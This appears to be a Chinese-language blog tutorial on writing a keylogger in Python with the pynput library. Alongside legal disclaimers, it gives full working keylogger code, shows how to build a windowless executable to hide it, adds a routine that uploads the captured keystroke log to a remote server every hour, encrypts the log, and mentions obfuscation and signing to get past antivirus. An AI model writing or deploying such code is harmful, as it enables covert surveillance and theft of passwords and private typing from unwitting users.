Python案例如何实现键盘记录?

wen python案例 3

Python案例如何实现键盘记录?从原理到实战的完整指南

目录导读

  1. 键盘记录器是什么?合法性与伦理边界
  2. 核心依赖库:pynput vs keyboard 选型分析
  3. Python实现键盘记录的完整代码案例
  4. 代码逐行解析:事件捕获、日志存储与进程隐藏
  5. 进阶技巧:过滤特殊按键、定时上传与加密存储
  6. 常见问题与解答(Q&A)
  7. 注意事项:如何合法使用键盘记录技术

键盘记录器是什么?合法性与伦理边界

键盘记录器(Keylogger)是一种能够记录用户按键操作的程序或硬件设备,在Python中,通过监听系统底层输入事件,可以实时捕获每一次键击。但请注意:未经被记录者明确同意而部署键盘记录器,在多数国家(包括中国、美国、欧盟)属于违法行为,可能触犯《刑法》《网络安全法》或《计算机欺诈和滥用法》,本文仅提供技术学习案例,严禁用于非法监控。

Python案例如何实现键盘记录?

核心依赖库:pynput vs keyboard 选型分析

特性 pynput keyboard
跨平台 Windows/macOS/Linux 仅Windows
安装复杂度 pip install pynput 简单 pip install keyboard 需管理员权限
支持特殊键 支持组合键(如Ctrl+C) 支持全局热键注册
后台运行 可自行封装为服务 集成度高但易被杀软检测
适用场景 教学、轻量级记录 游戏宏、自动化脚本

推荐:教程场景使用pynput,因其跨平台且无需额外权限,更易理解事件驱动模型。

Python实现键盘记录的完整代码案例

以下是一个基础但完整的键盘记录器,包含按键捕获、日志存储和优雅退出机制:

from pynput import keyboard
import datetime
import os
# 日志文件路径
LOG_FILE = "keylog.txt"
def on_press(key):
    """按键按下时的回调函数"""
    try:
        # 处理普通字符按键
        if hasattr(key, 'char') and key.char is not None:
            log_entry = f"[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] Key: {key.char}\n"
        else:
            # 处理特殊按键(如Shift, Ctrl, F1等)
            log_entry = f"[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] Special Key: {key}\n"
        with open(LOG_FILE, "a", encoding="utf-8") as f:
            f.write(log_entry)
    except AttributeError:
        pass
def on_release(key):
    """按键释放时的回调函数(用于退出监听)"""
    if key == keyboard.Key.esc:  # 按ESC键退出
        print("键盘记录已停止,日志保存在:", os.path.abspath(LOG_FILE))
        return False
# 启动键盘监听(非阻塞主线程)
if __name__ == "__main__":
    print("键盘记录已启动,按ESC键停止...")
    with keyboard.Listener(on_press=on_press, on_release=on_release) as listener:
        listener.join()

运行方式:保存为keylogger.py,在终端执行python keylogger.py,程序会记录所有按键,并在按下Esc键后停止,日志保存至当前目录下的keylog.txt

代码逐行解析:事件捕获、日志存储与进程隐藏

核心机制解剖

  • 事件监听keyboard.Listener 是一个守护线程,自动捕获系统全局按键事件。
  • 回调函数on_press 在每次按键按下时触发,key参数是pynput.keyboard.Keypynput.keyboard.KeyCode对象。
  • 特殊按键处理hasattr(key, 'char') 判断是否为普通字符(如字母、数字),否则为功能键(如Key.ctrl_lKey.space)。
  • 日志存储:使用追加模式写入文件,每条记录带时间戳,便于审计。
  • 优雅退出:通过on_release监听Esc键并返回False,从而终止listener

进程隐藏技巧(非必要,仅用于学习)

若需在Windows后台运行,可将脚本打包为.exe并配置为无窗口执行:

pip install pyinstaller
pyinstaller --noconsole --onefile keylogger.py

生成的可执行文件启动后无控制台窗口,在任务管理器中会显示为keylogger.exe

进阶技巧:过滤特殊按键、定时上传与加密存储

1 过滤空格和回车等无效按键

IGNORED_KEYS = {keyboard.Key.space, keyboard.Key.enter, keyboard.Key.tab}
def on_press(key):
    if key in IGNORED_KEYS:
        return  # 跳过空格、回车等
    # 其余处理同上...

2 定时上传至远程服务器(需配合HTTPS)

import requests
import time
from threading import Timer
def upload_log():
    with open(LOG_FILE, 'r') as f:
        data = f.read()
    try:
        requests.post('https://your-server.com/upload', data={'log': data}, timeout=5)
    except:
        pass
    Timer(3600, upload_log).start()  # 每小时上传一次
# 在主函数启动后调用
upload_log()

3 使用AES加密日志文件

from Crypto.Cipher import AES
import base64
# 加密写入(需要安装pycryptodome)
cipher = AES.new(b'16byte_key_12345', AES.MODE_EAX)
def write_encrypted(plaintext):
    ciphertext, tag = cipher.encrypt_and_digest(plaintext.encode())
    with open(LOG_FILE, 'ab') as f:
        f.write(cipher.nonce + tag + ciphertext)

常见问题与解答(Q&A)

Q1:运行后没有任何反应,也不记录按键?

A:检查Python版本是否为3.6+,并确保以管理员/root权限运行(尤其在Linux/macOS),尝试执行pynput官方示例确认库是否正常。

Q2:程序一启动就被杀毒软件删除?

A:键盘记录行为特征明显,任何杀软都会标记为风险,解决方案包括:对源码进行混淆、使用数字签名、添加至白名单,但请记住:绕过杀软的攻击性手段可能违法

Q3:如何在macOS上获取按键权限?

A:macOS 10.14+ 要求“辅助功能”权限,前往 系统偏好设置 → 安全性与隐私 → 隐私 → 辅助功能,勾选你的Python解释器或终端应用。

Q4:能否同时记录中文输入法下的按键?

Apynput捕获的是底层按键扫描码,无法直接获取IME转换后的汉字,若需记录最终文本,可配合pyperclip监听剪贴板变化。

注意事项:如何合法使用键盘记录技术

  1. 明确告知与授权:在企业环境中,务必在员工手册或开机弹窗中声明监控政策,并获得书面同意。
  2. 仅限安全测试:在获得授权的渗透测试中,可使用此技术发现输入安全漏洞(如明文密码录入)。
  3. 教育目的:用于教授操作系统事件处理机制、多线程编程等课程时,代码应仅在虚拟机或测试机中运行。
  4. 法律风险提示:中国《刑法》第285条、美国《计算机欺诈及滥用法》、欧盟GDPR均对未经授权的数据收集有严厉处罚,最高可判处有期徒刑。

延伸阅读:若想深入学习,可研究pynput的鼠标监听、pyHook的全局钩子机制,或使用ctypes直接调用Windows API(SetWindowsHookEx)实现更高阶的键盘钩子。

技术本身并无善恶,关键在于使用者的意图,掌握Python键盘记录实现,应当是为了提升系统安全性,而非侵犯他人隐私。

抱歉,评论功能暂时关闭!